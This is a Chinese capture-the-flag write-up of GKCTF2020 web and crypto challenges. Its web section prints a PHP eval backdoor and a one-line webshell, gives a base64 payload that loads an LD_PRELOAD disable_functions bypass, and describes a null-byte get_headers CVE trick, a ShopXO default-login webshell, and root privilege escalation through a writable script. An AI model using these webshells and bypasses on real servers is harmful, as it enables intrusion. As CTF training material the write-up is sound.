GKCTF2020--部分复现(加密和web)

GKCTF2020–web

CheckIN

title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

查看源码,不难发现,
在这里插入图片描述
有个eval()函数,并且将我们传入的参数进行base64解码再传入eval
没有任何过滤,传入ls 发现没用

phpinfo()

看看
在这里插入图片描述
看到disable_function
在这里插入图片描述
禁用了系统函数,我们写个马进去试试

eval($_POST[penson]);

在这里插入图片描述
由于他禁用了system函数,所以用蚁剑连接看看

在这里插入图片描述
发现根目录下有个readflag
估计就是要我们绕过disabled_function了
可以通过LD_PRELOAD这个环境变量,具体原理百度都能搜到,就不放了。
POC链接
下载他的poc链接
在传文件的时候,发现/var/html/www下并没有写权限,而其他目录却有
所以我上传到/vat/tmp目录下
在这里插入图片描述
然后用include()包含我们上传的php文件

include('/var/tmp/bypass_disablefunc.php');

在这里插入图片描述
可以发现成功包含,利用POC执行/readflag
payload

Ginkgo=aW5jbHVkZSgnL3Zhci90bXAvYnlwYXNzX2Rpc2FibGVmdW5jLnBocCcpOw==&cmd=/readflag&outpath=/tmp/xx&sopath=/var/tmp/bypass_disablefunc_x64.so

在这里插入图片描述

cve版签到

题目给出了提示
在这里插入图片描述
搜一波
CVE漏洞介绍
在这里插入图片描述
关键在于get_headers()函数
在这里插入图片描述
点一下进去
在这里插入图片描述
大家应该都知道127.0.0.1是本地嘛,利用那个cve漏洞,加%00截断,访问本地进去
在这里插入图片描述
他说要是123
改成123
在这里插入图片描述
flag就出来了

[GKCTF2020]老八小超市儿

在这里插入图片描述百度搜搜ShopXo漏洞
漏洞复现地址
进到后台直接使用默认账号密码登录
在这里插入图片描述
getshell
在这里插入图片描述
就按照教程来就行了

在这里插入图片描述
看上面给的链接一步一步来就行了,不多说了
Webshell的路径为/public/static/index/default/2.php
在这里插入图片描述
成功getshell
蚁剑连接
成功连接之后发现去根目录找flag,发现flag在/root目录下
在这里插入图片描述
这说明我们还得提权,获得更高的权限,可以发现有个特别红的玩意,我们点进去看看
在这里插入图片描述
在这里插入图片描述
有个python脚本,并且说出了他的位置,看一下python脚本
在这里插入图片描述
看的提示,说明这个脚本有root权限,属于root这个用户,并且这个脚本有写权限,

在这里插入图片描述
就可以根据这个python脚本来获取flag
因为这个脚本有写权限,就可以改下脚本,读取flag

在这里插入图片描述
但是呢这个脚本我们没有权限可以去执行,所以不行,回到根目录下的一个shell文件
在这里插入图片描述
在这里插入图片描述
他可以执行这个脚本
那咱们运行这个shell来看看
在这里插入图片描述
最终发现这个shell是可以成功运行的,flag到手

CRYPTO

小学生的密码学

在这里插入图片描述
把他给出的表达式一搜,就有仿射密码
在这里插入图片描述
base64编码即可

汉字的秘密

百度一搜会搜到当铺密码
当铺密码原理解释

在这里插入图片描述
然后你会发现第一个字符ascii加一就是F,第二个字符加2就是L
正好是flag
写脚本跑

a =[69,74,62,67,118,83,72,77,86,55,71,57,82,57,64,63,51,103]
str =""
j=0

for i in a:
    j += 1
    str +=chr(i+j)
    print(i)
    print(str)

在这里插入图片描述
把y改成括号即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值